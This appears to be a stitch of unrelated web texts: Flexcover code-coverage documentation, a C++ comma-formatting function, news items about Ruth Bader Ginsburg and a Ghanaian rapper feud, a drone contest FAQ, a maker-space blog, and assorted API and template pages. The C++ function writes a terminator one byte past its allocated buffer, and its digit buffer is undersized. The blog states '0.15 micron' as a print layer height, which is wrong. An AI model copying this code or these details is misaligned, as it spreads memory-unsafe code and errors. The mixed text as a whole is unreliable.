Version 0.81
Joe Berkovitz (Noteflight, LLC) and Alex Uhlmann (Adobe Consulting)
Welcome to Flexcover, a tool that measures how much of your Flex, AIR or AS3 application code actually runs when tested. This document offers some general information about Flexcover, explains how to install it, and then walks through a quick tour of its features. A concluding reference section describes the command options, file formats and APIs.
New features introduced since Flexcover 0.50 include:
Flexcover is a code coverage tool for Flex, AIR and AS3. It incorporates a set of modifications to the Flex SDK, including both a custom version of the mxmlc/compc compiler and custom framework libraries. The custom compiler inserts extra function calls in the code within the SWF or SWC output file. Code produced in this fashion is called instrumented code, because the additional function calls act like a measuring instrument: Flexcover measures which lines and conditional branches in the application have executed, and how many times.
At runtime, these function calls send information on the application's code coverage to an object called a coverage agent, that is responsible for summarizing and recording the coverage data. The default coverage agent sends this data out using a LocalConnection. The modified compiler also emits a separate coverage metadata file that describes all the possible packages, classes, functions, lines and conditional branches in the code, as well as the names of the associated source code files. The metadata is essential for measuring coverage, because it is the only source of information on code that has not executed.
The companion to this modified compiler is an AIR application called CoverageViewer. CoverageViewer listens on the LocalConnection used by the default coverage agent, and works with the coverage data that is transmitted from instrumented applications that are running at the same time.
After coverage data has been collected by CoverageViewer, it can be saved as a coverage report, which is an XML file describing all the elements in the program which could conceivably be executed, and their coverage statistics.
Here's a block diagram that shows how the different components and file types used by Flexcover relate to each other:
CoverageViewer is the application through which one interacts with the Flexcover system when testing. It's more than just a viewer; it does the following:
Flexcover's modified compilers accept special command line options that control its behavior. By default, however, a Flex SDK modified by Flexcover will instrument every application that is built with it, since this provides the most convenient behavior for many developers and eliminates the need for changes to one's build process.
In this way, instrumented applications may be built by simply configuring your project's current development tools to use the custom Flexcover SDK. No compiler switches or options are needed, and you can use whatever tools you like to build your instrumented applications, including Flex Builder.
The installation directory structure looks like this:
sdk-modifications-3_0/ (customized files for 3.0 SDK) lib/ [...mxmlc/compc compiler libraries...] framework/ air-config.xml flex-config.xml libs/ CoverageAgent.swc sdk-modifications-3_2/ (customized files for 3.2 SDK) lib/ (structure same as 3.0) framework/ CoverageViewer.air (AIR app to collect and view code coverage) CoverageExample1/ (pre-compiled, instrumented sample application) bin/ CoverageExample.cvm CoverageExample.swf src/ [...example source code...] CoverageAgent/ (coverage agent source for reference purposes) bin/ src/ doc/ (documentation)
Flexcover uses a customized version of the Flex compiler and also requires a special Flex framework library. To use flexcover you must first create a version of the Flex 3 SDK that has been modified to include these components. (It would be simpler if Flexcover could include a complete SDK that was already modified, but that file would be too large to be hosted on Google Code as a download.) Once you have created this modified SDK, you can freely copy the SDK to other machines without repeating the initial creation process.
To create the modified SDK, unzip a copy of the Flex 3.0 or Flex 3.2 SDKs into a directory on your computer that is separate from any existing Flex SDK installation you might have. For simplicity and predictability, we recommend that you download either Adobe Flex SDK <IP_ADDRESS>94 or Adobe Flex SDK <IP_ADDRESS>2 with this version of Flexcover, because these are the exact Flex SDK versions that the Flexcover modifications are based on.
Howvever, you may use other SDKs if you wish. Other Flex 3 SDK distributions are available from the Flex 3 SDK Downloads page, or you can modify a copy of some particular Flex 3 SDK version that you already have on hand (including the one that comes with Flex Builder 3).For clarity, it's a very good idea to give this SDK directory a descriptive name, for example flexcover-sdk-3.0.
The flexcover distribution contains directories named sdk-modifications-3_0 and sdk-modifications-3_2. Choose the appropriate directory based on the Flex SDK you are using, and copy its contents into the root directory of the special Flex SDK that you created in the previous step.
Make sure that you are copying sdk-modifications-3_x/lib, sdk-modifications-3_x/frameworks, etc. directly on top of the corresponding subdirectories in the SDK that are named lib, frameworks, and so on. Do not make the mistake of copying the sdk-modifications-3_x directory itself into the SDK. The files in the sdk-modifications-3_x/ directory are supposed to overwrite the corresponding ones in the destination SDK; that's intentional! In a typical OS desktop such as Windows Explorer or the MacOS Finder, you should open windows for both directories, then drag all items in the sdk-modifications window and drop them into the window for the destination SDK.
When you want to make use of Flexcover to build your applications with coverage instrumentation, you will need to change your build process to use the custom Flexcover SDK that you just created. Doing so will automatically generate instrumented AS3 bytecode, whether you are using compc (building library projects) or mxmlc (building application projects).
No matter what your build approach, you don't need to change the compiler arguments: coverage instrumentation will be on by default whenever the Flexcover SDK is used, and a coverage metadata file will automatically be created alongside your output SWC or SWF file.
Modifying Flex Builder. If you are using Flex Builder, making this change is easy. First add your custom Flexcover SDK to Flex Builder using the following steps:
The result should look similar to this:
Now, whenever you want to use Flexcover to build a Flex Builder project, simply go into that project's Properties, and select Flex Compiler on the left. On the right, you will see an area labeled Flex SDK Version. Click the radio button labeled "Use a specific SDK", and select your custom SDK from the dropdown list:
With FlexBuilder 3.0.2, you can make use of the -coverage=false and -coverage=true flags in the Project Preferences / Flex Compiler options to turn code coverage instrumentation on and off for specific projects.
Modifying Ant Builds. You will probably need to selectively override a property definition such as FLEX_HOME that points to the SDK to be used. This can be done on the command line if desired, as in:
ant -DFLEX_HOME=c:/sdks/flexcover-sdk-3.0
Install the CoverageViewer.air application that is part of the Flexcover distribution, and go through the AIR installation process. You may need to first install the AIR runtime in order to do so -- this is readily available from Adobe's website.
If you've gotten this far, you're ready to try things out by monitoring the code coverage of the sample CoverageExample1 application.
CoverageExample1 has already been compiled with a custom Flexcover SDK; you don't have to rebuild it (although you can if you want to!). Looking in the CoverageExample1/bin/ subdirectory, you will find the following files:
The compiled application. CoverageExample1.swf is, of course, the sample application itself, compiled by the custom Flexcover SDK so that its code is instrumented to measure and transmit coverage data.
Its coverage metadata. CoverageExample1.cvm is a "coverage metadata" file that is used to determine what executable lines actually exist in the source code, as a basis for coverage calculations. If you peek inside this file, you'll see it's a text file; each line describes one executable line or conditional branch in the program.
As a first step, start up CoverageViewer so that it will load the CVM file and report on coverage statistics for the sample application. You can do this in any of the following ways:
After launching the CoverageViewer AIR application on the coverage metadata for CoverageExample1, you'll see something like this:
All the data will reflect zero coverage, which is hardly surprising since the application hasn't started yet!
Leaving the CoverageViewer running, open the CoverageExample1.swf file in the Flash Player to run the application. You should see something like this:
At this point, you may want to quickly browse the source of the application in the src/ directory -- there's not very much to this example!
Now go back to the CoverageViewer window. You will already see a change in the statistics, since starting up the instrumented application will have caused some code to execute. This is a good time to start to explore the features of the Coverage Viewer.
Branch and Line coverage tabs. The main view is tabbed to allow the examination of either branch or line coverage statistics.
By default the display shows branch coverage. Each of the following are considered a single "branch", and are counted as covered if they occur one or more times:
Line coverage is simpler: a line of the program is considered to have been covered if any portion of it runs at least once.
Drill-down coverage statistics. Each line of the main view is an expandable row describing (in hierarchical order) the coverage for:
If you drill down on every element of the example application at this point, you'll see something like this:
At this point we're looking at all the packages, classes and functions in this simple application. Some functions have names like testFunction in pkg.TestClass; these are ActionScript functions. Other functions have names like ___TestPanel_Button1_click. These are functions that correspond to event scripts in MXML components.
The data columns in this table include:
You can sort the display on any of these columns by clicking in the area to the right of each column label to select an ascending or descending sort. Sorting by uncovered elements is a particularly handy way to focus on the least-covered portions of an application.
Go back to the sample application window and click each button exactly once. You'll see the data change in a live fashion, and the display may now look like this:
We can see that a lot of code has run as a result of our "test", but that some didn't. Which bits didn't run? To explore that question, we'll want to use the source-viewing features of the CoverageViewer.
Source Viewer shows the source code for a class, annotated with branch and line coverage information. Let's look at the source for pkg.TestClass: click in the table cell marked testFunction, which we can see did not get full coverage. We'll now get a split screen display like this:
Let's look at the various elements of the source display:
Line numbers are shown for each line of source, on the left.
Line execution counts show how many times each source line has been executed; they are displayed to the right of each line number. These execution counts are highlighted green if the line and any branches within it have been covered. A red highlight indicates that either the line itself has not executed (as in line 18 above), or that one or more branches within the line have not executed (as in line 16 above).
Branch execution counts are shown within each line as small superscript numbers showing branch execution counts These show how many times a branch condition has been evaluated as true (with a "+" symbol) or false (with a "-"). For example, the branch count on line 13 shows that testFunction() has run exactly once (it's shown as a + because there is no false condition for entering a function; it's not a conditional). The branch count on line 16 is shown as -0+1, indicating that the if statement has encountered a true condition zero times (causing it to be uncovered and highlighted red) and a false condition one time (highlighted green)
The coverage gap locator is the area to the right of the scroll bar; it shows where in the source coverage gaps occur. This is very handy in large source files.
Analyzing the above situation, we can see that line 16 isn't going to encounter a true condition until the value of counter reaches 5. Go back to the example application and continue clicking the button that calls testFunction(). The display will update, eventually reaching this state:
The app still isn't at 100% yet, though! As an exercise, see if you can get the application's coverage to 100% by using the source viewer and identifying what code hasn't been covered yet. Note that MXML source files also have code coverage, not just ActionScript sources: the first line of an MXML component counts as "covered" when the component is created, and event scripts on components are considered as functions. And, of course, any <mx:Script> blocks will be analyzed as if they were ActionScript.
For better performance, coverage data is buffered in memory and is only transmitted to the Coverage Viewer at 1-second intervals. You will notice a short delay between actions in the application and updates in the viewer.
Click the Save Report... button at the top of the coverage viewer's main window. You will be offered a dialog permitting you to save a coverage report. Save this file with a .cvr suffix and take a look at it -- you will see that it incorporates all the information in the drill-down coverage table. Such a report can be formatted or otherwise rearranged with XSL stylesheets.These saved files can also be reloaded by the Coverage Viewer to view a report.
To load a saved coverage report, use the Load File... button or simply drop the coverage report file into the application.
Delete the contents of the CoverageExample1/bin directory, then import CoverageExample1 as a Flex Builder project. Remember to change the Flex Compiler for the project to your custom Flexcover SDK! Now build the application. You will see both a .swf and a .cvm file appear in the project's bin/ directory after building the project.
The best way to launch CoverageViewer on a Flex Builder project is as follows:
The following are considered to be "conditional expressions" for branch-counting purposes:
Branch counts are shown in strange places within the source, sometimes. The AS3 compiler was not designed to report column numbers for conditional expressions in an intuitive way, so the counts usually show up just to the right of a relational operator like ==, <, and so on.
Also, there are special limitations on the display of branch coverage for MXML files, because the compiler doesn't provide any useful column number information at all in this case. MXML files will always show branches for each line "piled up" at the end of the line.
Finally, branch counts for complex Boolean conditions tested by a || or && operator are a little odd and tricky to interpret. At the moment, this problem is difficult to address given the existing structure of the compiler. Here are some basic hints at understanding how these work:
Coverage entries in the table are displayed alphabetically by default, but clicking in the table headers permits the sort order to be changed. A particularly useful option is to sort by ascending code coverage, which allows one to methodically work through the areas with the worst coverage first and identify testing deficits.
Type a search string in the Search field, and coverage entries in the table will be automatically filtered to include only matching classes. This is very convenient for focusing on parts of large projects.
The "Update" button forces the UI to immediately process all received coverage data. The accompanying checkbox labeled "Auto" controls whether received coverage data is automatically reflected in the UI. Applications that generate a large amount of coverage information may lose their data connection if "Auto" remains checked, because the viewer becomes too busy processing the data it has already received to keep up with newly arrived data. For interactive coverage measurement of such applications, it is best to uncheck "Auto" and manually click "Update" when the view should be refreshed.
If your project has many subprojects, or you are using libraries and Flex Modules, you may be building multiple SWCs and SWFs. Each of these files can have its own coverage metadata (CVM) file generated when the SWC or SWF was built. If you want to collect data on all of code contained in these files, you will have to load all of the CVM files into the CoverageViewer before running the instrumented application.
It's perfectly fine to load as many CVM files into the CoverageViewer as you like. Once you have done so, you will be working with the merged metadata from all the reports. In fact, if you save a coverage report at this point as a .cvr file, you will save the merged metadata (even though no coverage data has been collected yet) and can later reload it and work with it again instead of having to bring in the individual CVM files. However, note that if you work with old metadata and are running a later version of the application, your coverage numbers will be meaningless.
Additionally, CVM files are just line-oriented text files. You can concatenate them together into a single file using shell scripts, if that's convenient.
Coverage Reports are in fact a superset of coverage metadata -- they are the union of metadata with recorded coverage information. You can save a coverage report with or without data in it, and later restart the viewer, load the report, and run the application again with different tests to add more data to the report, then save a new copy of the report.
If you want to measure coverage data as part of an unattended automated test suite, you will need to optionally modify your suite to call CoverageManager.exit() (see reference section below) before the test suite exits. Before running your suite, you'll want to start Coverage Viewer with the -output option to specify the .cvr report file to which the report will be written after the test suite concludes.
This section provides reference information on various aspects of Flexcover. It's somewhat incomplete right now, but at least you've got the source code.
The following special compiler options are supported by the modified Flexcover SDK's mxmlc and compc commands:
| -coverage | Indicates that coverage instrumentation is to be placed into the generated bytecode of the SWF or SWC. |
| -coverage=false | Since coverage is turned on by default, this option is what you need to turn it off. |
| -coverage-metadata=metadata-filename.cvm | The name of a coverage metadata file to be output for subsequent use in the Coverage Viewer. This file will only contain actual data if the -coverage option is also given. |
Compiler configuration files in the flex-config.xml format may also contain the directive:
<coverage>true</coverage>
which has the same effect as the -coverage option. The default flex-config.xml and air-config.xml files in the SDK enable coverage, because there is no other effective way to turn it on when using the SDK in Flex Builder 3, due to a Flex Builder bug.
One or more input files may be freely specified on the command line. They are distinguished solely by their extensions.
Command line elements are as follows:
| -output report-filename.cvr | The name of an CVR report file to be written immediately when the instrumented application calls CoverageManager.exit(). The viewer will exit as soon as the report is written. |
| -source-path source-directory | The name of a source directory to be searched for source files, if the path information in the coverage metadata does not apply to the environment in which the viewer is running. More than one source-path directive may be given. |
| -no-auto-update | Prevents the UI from automatically updating whenever coverage information is received. This option is helpful in keeping the application/viewer data connection alive in cases where there is heavy data volume. This option is automatically enabled when the -output option is given. |
| -connection-name conn | The name to be used for the LocalConnection between the viewer and the application; defaults to _flexcover. |
| report-filename.cvr | The name of a CVR report file to be loaded.. |
| metadata-filename.cvm | The name of a coverage metadata file to be loaded.. |
Instrumented applications may make explicit calls to the com.allurent.coverage.runtime.CoverageManager class to control various instrumentation options. See the source code in the CoverageAgent/src directory for more details.
The CoverageManager class and the global function coverage() are linked from the CoverageAgent.swc file in the modified SDK.
The ICoverageAgent interface allows developers to build their own coverage agents, rather than relying on the built-in LocalConnection based approach. Thus, Flexcover supports multiple approaches to recording and multiple data-collecting applications. The AbstractCoverageAgent class provides basic support for recording, independent of the means used to communicate coverage data to an external application.
One of the most useful ways to work with code coverage information is to automatically generate it as part of a continuous build process, typically in conjunction with unit or integration test suites that exercise the code. The coverage information then becomes a metric that indicates how successful the tests are at reaching all the code that is under test.
An important aspect of generating code coverage information is for the test application to cleanly exit, only after it has flushed all coverage data through the coverage agent. This can be accomplished by having the test application call com.allurent.coverage.runtime.CoverageManager.exit() which will flush all coverage data and then quit the program, also requesting the CoverageViewer to write its report file and quit if it was given a report filename on startup.
Coverage metadata (.cvm) files are text files that contain a list of coverage elements, one element per line. Each coverage element has this syntax:
coverage-element ::= branch-element | line-element branch-element ::= package ":" class "/" function "@" [ "+" | "-" ] line [ "." column ] [";" source-path] line-element ::= package ":" class "/" function "@" line [";" source-path]
For instance take a look at this excerpt from CoverageExample1.cvm:
pkg:TestClass/testFunction@13;C:\Source\flexcover\CoverageExample1\src\pkg\TestClass.as<EMAIL_ADDRESS>pkg:TestClass/testFunction@15 pkg:TestClass/testFunction@16 <EMAIL_ADDRESS><EMAIL_ADDRESS>pkg:TestClass/testFunction@18 pkg:TestClass/testFunction@20
This data format is inefficient in some ways, but it compresses well and is very easy to generate from within the modified compiler.
Coverage instrumentation data transmitted over the LocalConnection from the instrumented application invokes two handler functions on the receiving end: coverageData(map:Object) and coverageEnd(). The coverageData function will be passed an object whose keys are coverage elements and whose values are execution counts. The coverageEnd function is called if the instrumented application has called CoverageManager.exit(), after all remaining coverage data has been transmitted.
Coverage report (.cvr) files are XML files that describe a hierarchy of program elements and provide data at each level of the hierarchy, summarized for non-leaf nodes. Here is an example:
<applicationCoverage name="[Application]" lineCoverage="0.9063" coveredLines="29" lines="32" branchCoverage="0.9167" coveredBranches="11" branches="12"> <package name="com.allurent" lineCoverage="0.9091" coveredLines="10" lines="11" branchCoverage="1.000" coveredBranches="3" branches="3"> <class name="CoverageTest" lineCoverage="0.9091" coveredLines="10" lines="11" branchCoverage="1.000" coveredBranches="3" branches="3" pathname="C:\Source\flexcover\CoverageTest\src\CoverageTest.mxml"> <function name="___CoverageTest_WindowedApplication1_applicationComplete" lineCoverage="1.000" coveredLines="1" lines="1" branchCoverage="1.000" coveredBranches="1" branches="1"> <branch name="+3#137.18" count="1"/> <line name="3" count="2"/> </function> <function name="runTest" lineCoverage="0.8750" coveredLines="7" lines="8" branchCoverage="1.000" coveredBranches="1" branches="1"> <branch name="+12#119.27" count="1"/> <line name="12" count="1"/> <line name="14" count="1"/> <line name="15" count="1"/> <line name="16" count="1"/> <line name="17" count="1"/> <line name="18" count="1"/> <line name="19" count="1"/> <line name="20" count="0"/> </function> </class> </package> </applicationCoverage>
The Flexcover SDK modifications are maintained in a separate Google Code project called flexcover-sdk. You can check them out in source form. Understanding and building these modifications requires in-depth knowledge of the Flex ActionScript 3 compiler and associated development tools.


the code has all the comments and information. this function formats an integer
using commas separators. for example 11111 becomes 11,111. it does not use anything except native chars. I hope you find it uselful.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
|
/*
by Angel Rapallo
format an integer with up to 20 digits length
with commas separators for hundreds, thoushands, etc.
this function only uses chars not strings and does not use
any locale or external library except the _i64toa_s api
to convert the integer into an array of chars.
it is a flat algorithm, is does not use recursion or any
other method.
at its worst case it can iterate around 24 times only.
for example if the number has 20 digits (MAXIMUM it can handle)
then it will iterate 20/4 = 5 iterations + 20 to copy the digits
a total os 24 iterations.
the algorithm is
convert number to array[]
get number of digits aka the length of the array
get the position of the first comma
get the total length of the formatted array digits + # of commas.
create dynamic array with this information to hold the formatted number.
put the commas in place for example
if number is 11111 then
[][,][][][][]
the put the digits in place
[1][1][,][1][1][1]
as allways there must be a shorter and better way, but i havent found it so
i came up with this one. one way is to use two stacks and push the digits
into it then pop all the digits and include the commans using the % operator
to check if a comma belongs after the digits. i like this one because it does not
use anything except chars.
the idea of placing commas into a number seems simple enough
just go one character at a time and check if a comma belongs there
the problem is that to do that you would need a way to insert chars
into an array, which is what this algorith does but into steps instead
of one.
I hope it can help some one.
*/
char* format_integer_with_commas(long long n)
{
/*
convert number to an array of chars
*/
char _number_array[20] = {'\0'};
_i64toa_s(n,_number_array,sizeof(_number_array),10);
char* _number_pointer = _number_array;
int _number_of_digits = 0;
while (*(_number_pointer + _number_of_digits++));
--_number_of_digits;
/*
count the number of digits
calculate the position for the first comma separator
calculate the final length of the number with commas
the starting position is a repeating sequence 123123... which depends on the number of digits
the length of the number with commas is the sequence<PHONE_NUMBER>44...
*/
int _starting_separator_position = _number_of_digits < 4 ? 0 :_number_of_digits % 3 == 0 ? 3:_number_of_digits % 3;
int _formatted_number_length = _number_of_digits + _number_of_digits / 3 - (_number_of_digits % 3 == 0 ? 1:0);
/*
create formatted number array based on calculated information.
*/
char* _formatted_number = new char[_formatted_number_length];
/*
place all the commas
*/
for (int i = _starting_separator_position; i < _formatted_number_length - 3; i += 4)
_formatted_number[i] = ',';
/*
place the digits
*/
for (int i = 0, j = 0; i < _formatted_number_length; i++)
if (_formatted_number[i] != ',')
_formatted_number[i] = _number_pointer[j++];
/* close the string */
_formatted_number[_formatted_number_length] = '\0';
return _formatted_number;
}
| |


For this, click on a STF file. As you will see, the current pilot point info will be displayed within the Info View. Click on the
location image to set an image for the pilot point. You can also enter additional information relevant to the pilot point and
save it via clicking the


Ruth Bader Ginsburg hospitalized after fever and chills
US Supreme Court's oldest justice taken to Johns Hopkins Hospital after suffering from fever and chills, possibly from an infection.
by Marcy Oster, JTASupreme Court Justice Ruth Bader Ginsburg was admitted to a hospital on Friday night.
Ginsburg was admitted to Johns Hopkins Hospital in Baltimore after a bout of chills and fever earlier on Friday, a Supreme Court spokesman said on Saturday, according to the New York Times. She was being evaluated and treated for possible infection.
She received intravenous antibiotics and fluids, and could be released as early as Sunday morning, spokeswoman, Kathleen Arberg, said.
Ginsburg returned to the bench on Monday, after missing courtroom arguments on Nov. 13 for what a court spokesperson said was a stomach virus.
On Friday, Ginsburg participated in the regular closed-door conference with other justices, Arberg said. She then stayed at the court until midday before she went to a meeting outside the court where she started feeling ill.
Ginsburg, 86, underwent treatment in August for “a localized malignant tumor” on her pancreas. She had surgery last year to remove a cancerous growth from her left lung, her third bout with cancer.
She is one of three Jewish justices on the court and leads its liberal minority. She is the high court’s oldest justice.


It will be delivered through USB thumb drive
5 total waypoints: one delivery waypoint, 3 loiter, and 1 home waypoint
It will be on grass
It will outside since there is no GPS signal inside
100 ft diameter
~25 feet
Home base will be 10 feet away from the tennis balls.
35 feet.
6-7 inches.
Yes
Cardboard flat holders, drone will have full 180 degree access
Between 2 and 4 feet.
10 feet-S, 10 feet-M, 20 feet-L
12”, 16” and 20”
Correct. A ball may be retrieved if it “missed the hoop”.
The entire competition.
Correct. We will have judges to deem whether collisions were intentional or not. If a team is exhibiting any behavior of wreckless flying, we will deem that as “intentional”. However, if a collision is unintentional it will be forgiven and the judges have the right to provide another round for those two teams to compete.
Yes. A second flight will be allowed. That second flight will be a “single flight” – i.e. there will not be another drone in the competition field.
Outside. However, in the event there is inclement weather this will occur inside the gymnasium.
The team will only be responsible for submitting their presentation 7 days in advance of the competition to<EMAIL_ADDRESS>ARC will provide all other needed presentation supplies.
We have a classroom reserved at Littlerock for the presentations. I have attached a tentative schedule for the day as well.
ARC allows observers. Teams are allowed to choose who they want in the room. I.e. a team has the right to tell observers to leave the room.
Yes
The tutorials page is a great starting point for teams: Tutorials: Programming
No, though it is highly recommended to at least provide some protection for the electronics
Yes: You can connect servos through the Pixhawk itself: Ardupilot Servo Connection This second link should be of interest to teams: Grappling Mechanism


Fameye Is So Wicked That He Can Gun Down A Pregnant Woman (+Video)
by BB JonesRapper Awal Mohammed has hit back at Fameye in a new video for dissing him on radio and telling everyone that he’s a ‘Talented Kid’ as their feud ranges on.
The drama began few days ago,when Awal revealed the ‘Nothing I Get’ hit maker charged him the said amount to shoot a music video with him but failed to honour his part of the bargain when he got the money.
Fameye has responded in a brutal fashion, calling a Awal a ‘Talented Kid’ who does not deserve his attention.

Fameye, whose interview was captured by Nkosuo TV, said he does not want to talk about the Awal issue because he has no dealings with him whatsoever.
In a quick reply, Awal said he’s surprised Fameye can betray him in this manner whiles going about spreading lies about him relative to the subject.
The rapper claimed Fameye is a very wicked person who is capable of killing a pregnant woman.
Watch the video:


This is a simple web page...
...which contains a nice CSS3 Slideshow.
It was built using gulp, browserify, sass, and hyper-text-slider.
For more info, check out HyperText Slider Node Tutorial.


KMG First Weekend
My first weekend at Kyoto Maker’s Garage. The current manager, Connor, is showing me the ropes.
Day 1: Focused on our largest CNC machine, a PRO4848 that Connor built from a kit. Kenji, one of our staff, is building a wooden car to be powered by Arduino. The wooden parts of the car will be carved out of MDF (Medium-density fibreboard) on the CNC machine.
 Although more expensive machines can move the mill (cutting tool) in all three dimensions, the 4848 is top-down only, which means you have to do some planning ahead with your 3D model.
The basic process of CNC:
- Design your 3D model. We use Autodesk Fusion 360.
- Lay out the parts of your 3D model flat.
- Create a tool path: carefully plan where the CNC machine will cut, and what endmills and drill bits you will use for each path.
- Calibrate the machine.
- Execute each tool path, manually changing the bit (endmill or drill bit) in between each path, and re-zeroing the Z-axis.
- Chisel out and sand the tabs.
The most difficult part, in my opinion, was planning the tool path. There are many variables to keep in mind, such as the feeds (how much material you are cutting) and speeds (how fast the tool is moving.) You generally want to cut the inner parts out before the outer parts, to avoid pieces of material flying out. You should also use tabs to keep parts in place, and chisel+sand the tabs when finished.
Day 2: Connor gave an excellent tutorial on designing and modeling a part for CNC from scratch using Fusion 360. He showed us a wooden toy spanner wrench that he made for his 1-year-old daughter.
The tutorial was straightforward and easy to understand. My main takeaways, besides all the useful keyboard shortcuts, were:
- Define as many distances as possible using User-defined Parameters, so that it’s easy to adjust later.
- Try to keep all lines or shapes constrained to each other in some way, also for easier adjusting.
- ‘Construction’ lines (dotted) are useful as guides for constraining or measuring model lines.
After lunch, I tried out one of the 3D printers, a Prusa 2.0. 3D printing is considerably easier than CNC, most times all you have to do is load a model into a slicer, slice, and print.
Things to keep in mind: layer height, amount of infill, type of filament, and the shape of your model. Some models will need supports (which can be automatically generated). Most desktop 3D printers use Fusion Deposition Modeling (FDM) which works by laying one layer at a time. This means that any parts of the model which float will need supports, or they will sag. A way to get around the need for supports is to print multiple flat pieces and glue them together with superglue.
I printed a Flexi Cat as a first project, using a sample spool of Prusament PLA and 0.15 micron layer height. The smaller the layer height, the more detailed and smooth the resulting print.
Although simpler than CNC, there are still a lot of small details to keep in mind when 3D printing. I hope to ingrain all these details through experience and watching more tutorials.
We are thinking of buying a new 3D printer, the RailCore II 300ZL. The rail system allows it to print much more quickly and accurately than our current 3D printers, and it can also print projects of a much larger size. It comes as a kit, and I think building it will be a very educational experience. The only hurdle will be convincing our beloved CEO to provide the funds!


0
2
8.1.1.b non-relevant form control becoming relevant
You must see an xforms-enabled message, an xforms-value-changed message, an xforms-valid
message, an xforms-readwrite message, and an xforms-optional message.
First Name:
xforms-enabled
xforms-value-changed
xforms-valid
xforms-readwrite
xforms-optional


--- layout: post status: publish published: true title: Filemap Library updated author: display_name: Tomas Restrepo login: tomasr email<EMAIL_ADDRESS>url: http://winterdom.com/ author_login: tomasr author_email<EMAIL_ADDRESS>author_url: http://winterdom.com/ wordpress_id: 185 wordpress_url: http://winterdom.com/2005/08/filemaplibraryupdated date: '2005-08-26 19:12:12 +0000' date_gmt: '2005-08-26 19:12:12 +0000' categories: - ".NET" tags: [] comments: [] ---
I finally uploaded a long overdue update to my Filemap library for .NET (which implements file mapping facilities in managed code). This one mostly contains some minor refactoring and a few bugfixes, and it's one I had done a long time ago but had not put up (sorry for that!).
The updated version can be downloaded from here.


2856 Broadway Ave, Pittsburgh, PA 15216
By TRAIN:
Potomac Avenue stop. Port Authority Trip Planner
We are in Dormont at the corner of Broadway and Potomac Avenue, steps from the Potomac Avenue train station. We are directly across from the Cogo's.
Pre-game events and ride safely into the city via public transportation.
Growlers and six pack's to-go available.


Children of the Corn III: Urban Harvest
Children of the Corn III: Urban Harvest is a movie starring Dano Cerny, Ron Melendez, and Jim Metzler. Two brothers connected to the murderous children's cult of Gatlin, Nebraska are taken to Chicago by an adoptive couple.


class ErrorReporting
Entry point into the Error Reporting framework.
This creates the error reporter used to report errors. The initialiseReporting
method should be called to build a reporter before any
errors are reported.
<init> |
ErrorReporting() |
initialiseReporting |
Set up the reporting of errors. fun initialiseReporting(): Unit |
usingResourcesAt |
Set the location of the resource bundles containing the error codes. fun usingResourcesAt(location: String): ErrorReporting |
withContextProvider |
Set the context provider to supply project-specific information about the errors. fun withContextProvider(contextProvider: ErrorContextProvider): ErrorReporting |
withLocale |
Set the locale to use when reporting errors fun withLocale(locale: String): ErrorReporting |


{% include 'header.html' %}
Reset Password - Mian: 16S rRNA data analysis, visualization, and feature selection tools
{% include 'navigation.html' %}
Reset Password
New Password
Submit
{% include 'footer-full.html' %}


---
layout: docs_home
title: Ionic Documentation
header_title: Ionic Documentation
header_sub_title: An overview of Ionic, why we built it, how to use it, and what you should know along the way
---
Start Building with Ionic!
Jump into our docs where you'll find resources that teach you how to use Ionic, and reference documentation for all the moving parts.
Learn everything you need to know to get up and running with the framework.
A comprehensive list of our CSS mobile components. Everything you’d need.
Explore our API docs for information on the Controllers and Javascript utilities.
A mini-book written to help you get familiar with the Ionic Framework.
Over 500 custom designed font icons MIT licensed & ready to use with ionic.
How and when to use the many mobile input types in your app.
Drop by and say Hi. Ask a question or share something interesting.
Check out some real life demos, examples and templates built on Ionic.
Read up on some common pitfalls related to Cordova, Node, NPM,Android


Welcome to the United States Antartic Program Portal
The latest information on the usap master plans and their implementation.
News / Friday January 5, 2018
The bomb cyclone
has hit the eastern U.S. causing
flight cancelations and power outages. On Jan. 5, Keri
Nelson, at NSF's Palmer Station, Antartica, discussed with
All Things Considered host Ari Shapiro...
Jan 31, 2018
The Office of Polar Programs (OPP), which manages the U.S. Antartic
Program, has issued a policy statement that affirms that the program
is committed to providing a safe and respectful work environment,
free of any form of harassment.
Jan 24, 2018
Brian MacDonald has joined OPP's Antartic Infrastructure and Logistics (AIL) Section as Capital Planning Manager. MacDonald wil work closely with AIL experts to implement a long-range capital plan to insure the nation's Antartic stations to continue to support world-leading science well into the future.
Dec 19, 2017
The NSF is seeking a qualified candidate to fill the position of Program Director for the Artic Sciences Section (ARCSS) Program in the Office of Polar Programs (OPP), Directorate for Geosciences(GEO) in Alexandria, VA. The Office of Polar Programs is responsible for planning, funding, and implementing scientific research programs in both the Artic and Atartic regions.
View current and historical photos profiling science, scenery, wildlife, and more at the usap Photo Library.
The Antartic Sun is the official source for news of the United States Antartic Program and US Antartic Stations.
Take a look at the National Science Foundations's plans for the future of science and logistics in Antartica.
Video: International Jazz Day is Celebrated at South Pole Station
Curator: Webmaster, Antartic Support Contact | NSF Official: Patrick Smith, Office of Polar Programs


21 November 2020:
Added price popup for *://www.ebay.com/itm/* in script.js
29 November 2020:
Configured Manifest.json file
05 December 2020:
Added icon(png) files
08 December 2020:
Added popup.html file, configured contact.html&js
09 December 2020:
Configured Settings Page and setIntervals
05 January 2021:
Completed Dashboard
18 April 2021:
Uploaded to GitHub


Methods for loading score statistics and covariance matrices from local files. This is primarily used by the CLI.
Classes
Members
(inner, constant) STATS_FORMAT :Object
An enum denoting score/covariance statistics file format.
Type:
- Object
Methods
(async, inner) detectFormat(fpath) → {number}
Determine whether the file is in rvtest or raremetal format.
Parameters:
| Name | Type | Description |
|---|---|---|
fpath |
string | Path to file (can be covariance or score stats). |
Returns:
STATS_FORMAT.RAREMETAL or STATS_FORMAT.RVTEST.
- Type
- number
(async, inner) extractCovariance(fpath, region, variants, scoreStats) → {Promise.<GenotypeCovarianceMatrix>}
Extract covariance matrix from a file.
If variants are provided, only extract a matrix for the given variants. This only requires a single pass of the file.
If no variants are provided, a double pass is done - one to figure out the size of the matrix, the next to read it.
This function assumes you have tabix installed, and it exists on your PATH. You can download tabix by visiting htslib.org.
